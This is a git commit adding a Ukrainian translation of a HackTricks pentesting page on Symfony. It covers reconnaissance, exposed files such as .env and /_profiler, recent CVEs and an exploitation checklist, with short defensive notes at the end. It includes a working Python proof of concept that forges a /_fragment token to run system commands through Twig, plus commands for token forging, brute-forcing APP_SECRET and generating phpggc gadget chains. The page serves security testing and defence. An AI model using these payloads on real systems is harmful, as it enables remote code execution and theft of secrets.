Translated ['src/network-services-pentesting/pentesting-web/symphony.md'

This commit is contained in:
Translator 2025-07-23 10:25:26 +00:00
parent 4fadd43d53
commit c99c5a9e81

View File

@ -2,10 +2,123 @@
{{#include ../../banners/hacktricks-training.md}}
Ознайомтеся з наступними публікаціями:
Symfony є одним з найпоширеніших PHP фреймворків і регулярно з'являється в оцінках цілей підприємств, електронної комерції та CMS (Drupal, Shopware, Ibexa, OroCRM … всі вбудовують компоненти Symfony). Ця сторінка збирає наступальні поради, поширені неправильні конфігурації та нещодавні вразливості, які ви повинні мати у своєму контрольному списку, коли виявляєте додаток Symfony.
- [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
- [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807)
- [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
> Історична примітка: Велика частина екосистеми все ще працює на гілці **5.4 LTS** (EOL **Листопад 2025**). Завжди перевіряйте точну незначну версію, оскільки багато з 2023-2025 років безпекових рекомендацій були виправлені лише в патчах (наприклад, 5.4.46 → 5.4.50).
---
## Рекон та Перерахунок
### Визначення
* HTTP заголовки відповіді: `X-Powered-By: Symfony`, `X-Debug-Token`, `X-Debug-Token-Link` або куки, що починаються з `sf_redirect`, `sf_session`, `MOCKSESSID`.
* Витоки вихідного коду (`composer.json`, `composer.lock`, `/vendor/…`) часто розкривають точну версію:
```bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
```
* Публічні маршрути, які існують лише на Symfony:
* `/_profiler` (Symfony **Profiler** & панель інструментів налагодження)
* `/_wdt/<token>` (“Web Debug Toolbar”)
* `/_error/{code}.{_format}` (красиві сторінки помилок)
* `/app_dev.php`, `/config.php`, `/config_dev.php` (перед-4.0 dev front-controllers)
* Wappalyzer, BuiltWith або ffuf/feroxbuster wordlists: `symfony.txt` → шукайте `/_fragment`, `/_profiler`, `.env`, `.htaccess`.
### Цікаві файли та кінцеві точки
| Шлях | Чому це важливо |
|------|----------------|
| `/.env`, `/.env.local`, `/.env.prod` | Часто неправильно розгорнуті → витоки `APP_SECRET`, облікові дані БД, SMTP, AWS ключі |
| `/.git`, `.svn`, `.hg` | Витік виходу → облікові дані + бізнес-логіка |
| `/var/log/*.log`, `/log/dev.log` | Неправильна конфігурація веб-кореня відкриває стек-трейси |
| `/_profiler` | Повна історія запитів, конфігурація, контейнер сервісів, **APP_SECRET** (≤ 3.4) |
| `/_fragment` | Точка входу, що використовується ESI/HInclude. Зловживання можливе, як тільки ви знаєте `APP_SECRET` |
| `/vendor/phpunit/phpunit/phpunit` | PHPUnit RCE, якщо доступно (CVE-2017-9841) |
| `/index.php/_error/{code}` | Визначення та іноді витік трас виключень |
---
## Вразливості високого впливу (2023-2025)
### 1. Витік APP_SECRET ➜ RCE через `/_fragment` (також відомий як “secret-fragment”)
* **CVE-2019-18889** спочатку, але *досі* з'являється на сучасних цілях, коли налагодження залишається увімкненим або `.env` відкритий.
* Як тільки ви знаєте 32-символьний `APP_SECRET`, створіть HMAC токен і зловживайте внутрішнім контролером `render()`, щоб виконати довільний Twig:
```python
# PoC вимагає секрет
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE в Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
```
* Чудовий опис та скрипт експлуатації: блог Ambionics (посилання в довідці).
### 2. Підміна процесу Windows CVE-2024-51736
* Компонент `Process` шукає поточний робочий каталог **перед** `PATH` на Windows. Атакуючий, який може завантажити `tar.exe`, `cmd.exe` тощо в записуваний веб-корінь і викликати `Process` (наприклад, витяг файлів, генерація PDF), отримує виконання команд.
* Виправлено в 5.4.50, 6.4.14, 7.1.7.
### 3. Фіксація сесії CVE-2023-46733
* Аутентифікаційний захист повторно використовував існуючий ідентифікатор сесії після входу. Якщо атакуючий встановлює куки **перед** аутентифікацією жертви, вони захоплюють обліковий запис після входу.
### 4. XSS в пісочниці Twig CVE-2023-46734
* У додатках, які відкривають шаблони, контрольовані користувачем (адмін CMS, конструктор електронної пошти), фільтр `nl2br` може бути зловжито для обходу пісочниці та впровадження JS.
### 5. Ланцюги гаджетів Symfony 1 (досі знаходяться в застарілих додатках)
* `phpggc symfony/1 system id` генерує Phar payload, який викликає RCE, коли відбувається unserialize() на класах, таких як `sfNamespacedParameterHolder`. Перевірте кінцеві точки завантаження файлів та обгортки `phar://`.
{{#ref}}
../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
{{#endref}}
---
## Чек-лист експлуатації
### Розрахунок HMAC токена для `/_fragment`
```bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
```
### Брутфорс слабкого `APP_SECRET`
```bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
```
### RCE через відкритий Symfony Console
Якщо `bin/console` доступний через `php-fpm` або пряме завантаження CLI:
```bash
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
```
Використовуйте гаджети десеріалізації в каталозі кешу або напишіть шкідливий шаблон Twig, який буде виконано під час наступного запиту.
---
## Захисні примітки
1. **Ніколи не розгортайте налагодження** (`APP_ENV=dev`, `APP_DEBUG=1`) у виробництві; заблокуйте `/app_dev.php`, `/_profiler`, `/_wdt` у конфігурації веб-сервера.
2. Зберігайте секрети в змінних середовища або `vault/secrets.local.php`, *ніколи* в файлах, доступних через кореневу директорію документа.
3. Забезпечте управління патчами підписуйтесь на сповіщення про безпеку Symfony та підтримуйте принаймні рівень патчів LTS.
4. Якщо ви працюєте на Windows, терміново оновіть, щоб зменшити ризик CVE-2024-51736 або додайте захист у глибині `open_basedir`/`disable_functions`.
---
### Корисні наступальні інструменти
* **ambionics/symfony-exploits** RCE з секретним фрагментом, виявлення маршрутів налагоджувача.
* **phpggc** Готові ланцюги гаджетів для Symfony 1 та 2.
* **sf-encoder** маленький помічник для обчислення HMAC `_fragment` (реалізація на Go).
## Посилання
* [Ambionics Symfony “secret-fragment” Remote Code Execution](https://www.ambionics.io/blog/symfony-secret-fragment)
* [Symfony Security Advisory CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class)
{{#include ../../banners/hacktricks-training.md}}